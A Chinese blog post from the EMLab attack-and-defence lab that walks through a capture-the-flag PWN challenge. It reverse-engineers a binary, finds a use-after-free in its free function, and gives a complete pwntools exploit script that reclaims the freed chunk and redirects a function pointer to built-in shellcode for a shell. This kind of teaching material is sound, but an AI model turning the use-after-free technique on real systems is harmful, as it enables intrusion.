當前位置:
首頁 > 最新 > 某行業內部安全競賽PWN1試題解析

某行業內部安全競賽PWN1試題解析

一、緣起

一個朋友參加了某行業內部的安全競賽,因為許久不接觸安全競賽的緣故,有些東西不甚了解,所以讓EM-Lab的小哥哥幫忙熟悉下。

下面正式開始PWN PWN PWN(哈哈哈) !


現在的安全競賽大多是CTF,CTF中的PWN題大多是linux 的ELF可執行程序,PWN呢也就是大家說的二進位(其實二進位也應該是包括逆向的)。PWN是二進位的逆向分析,漏洞挖掘、分析、利用的綜合。因為二進位涉及知識面廣且需要一定深度,二進位號稱三難:入門難、提高難、精通難。本文將儘可能描述的通俗易懂。

必備的基礎知識(只涉及本題要用到的):

1.熟悉linux操作系統的使用。

2.熟悉docker的使用。

3.編程語言:c/c++,intel彙編,python及pythonpwntools(PWN專用庫)

4.熟練使用的逆向分析工具:靜態分析工具IDA


工欲善其事,必先利其器。不搭建一個順手的環境,PWN PWN PWN 也不舒服是吧?

這裡推薦下自用的操作環境:

1.主系統也就是電腦安裝了大名鼎鼎kali linux。

2.主系統中使用虛擬機VMware安裝了windows7 64bit,windows7 中安裝了IDA7

3.主系統中使用docker 跑的debian 64bit的鏡像,因為方便32bit程序的調試所以安裝了32bit的支持庫。Debian 鏡像中安裝 socat 方便遠程測試exp。

因為要節省文章篇幅,所以這裡不再講工具的安裝,如遇到安裝問題可以自行百度.

我們拿到程序的第一步就是要讓它跑起來看看它實現了什麼功能,怎麼讓它跑呢?首先要知道它要在什麼地方跑,如果汽車可以在天上跑就不用要飛機了不是,這裡推薦一個linux的工具 file,這個工具可以識別大多數文件的類型,如本文的pwn1:

可以看出pwn1是ELF 64bit程序,需要在linux64bit 系統中才能跑起來。

我們就在docker debian 的鏡像中讓它跑起來,

我們可以發現程序有三個功能:use、after、free。

Use 輸出了一些信息,after輸入一個長度,然後輸入一些字元,free暫時還不知道有什麼用,那麼就逆向分析一下。

打開IDA64 拖入pwn1,進入主函數main,F5大法開啟,就可以看到IDA給我們分析出來了友好的C++代碼。

分析c++ 代碼我們可以看出,use的功能是執行了off_602D58+8地址的代碼

我們來看看這個地址的代碼是什麼,滑鼠雙擊跳進去:

*v3是一個地址指針,保存了sub_401450的地址,滑鼠雙擊再進去,*v3就是下圖所示的代碼,這不就是傳說中的shellcode嗎?原來出題人已經內置了shellcode,這樣就省事多了,只要把程序的控制流劫持到這個地址,就可以拿到shell了。

*v3 +8 是sub_401490的調用,是程序正常的輸出功能,

接下來我們再看after的功能,

After的功能是申請一段指定大小的內存空間,然後從讀取用戶的輸入保存到申請的內存空間。

再來看free的功能,

Free的功能是釋放申請的空間,這裡看到程序只是釋放了申請的空間,並沒有把指針置為空,這就形成了一個典型的UAF漏洞。

這裡我們看下程序初始申請的內存大小,是十六進位的30換成10進位就是48

那麼解體思路就是:

先把程序初始申請的內存使用free功能釋放掉,然後根據ptmalloc的內存管理機制,申請一個同樣大小的內存空間把剛釋放的內存空間分配回來,然後寫入一個可以執行內置shellcode的地址,接著使用use功能就可以拿到shell了。

如下圖的三個payload 任選其一即可,

五、Exp

#!/usr/bin/python

# -*-coding:utf-8 -*-

from pwn import*

import time

def main():

p = remote("172.17.0.2",8888)#連接遠程伺服器

p.recvuntil("1. use, 2. after, 3.free")

p.sendline("3")#釋放程序初始申請的內存

p.recvuntil("1. use, 2. after, 3.free")

p.sendline("2")

p.recvuntil("Please input the length:")

p.sendline("48")#把釋放的內存申請回來,

payload = p64(0x602D90)#轉換payload,三個任選其一的payload

time.sleep(2)

p.sendline(payload)

p.recvuntil("1. use, 2. after, 3.free")

p.sendline("2")#有時候內存一次申請不回來,可以多申請一次,

p.recvuntil("Please input the length:")

p.sendline("48")

time.sleep(2)

p.sendline(payload)

p.sendline("1")#觸發shellcode

time.sleep(2)

p.interactive()

if __name__ =="__main__":

main()

來張效果圖


這個題還是比較簡單的,動態調試都不用,解題的關鍵是利用了ptmalloc的內存分配策略,有一個阿里的工程師寫了一個《glibc內存管理ptmalloc源代碼分析》的文檔(https://wenku.baidu.com/view/20033e124431b90d6c85c718.html),推薦讀一下。

最後祝各位 PWN PWN PWN 愉快!

作者:r0code編輯:信大天瑞 EMLab攻防實驗室

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 EMLab攻防實驗室 的精彩文章:

TAG:EMLab攻防實驗室 |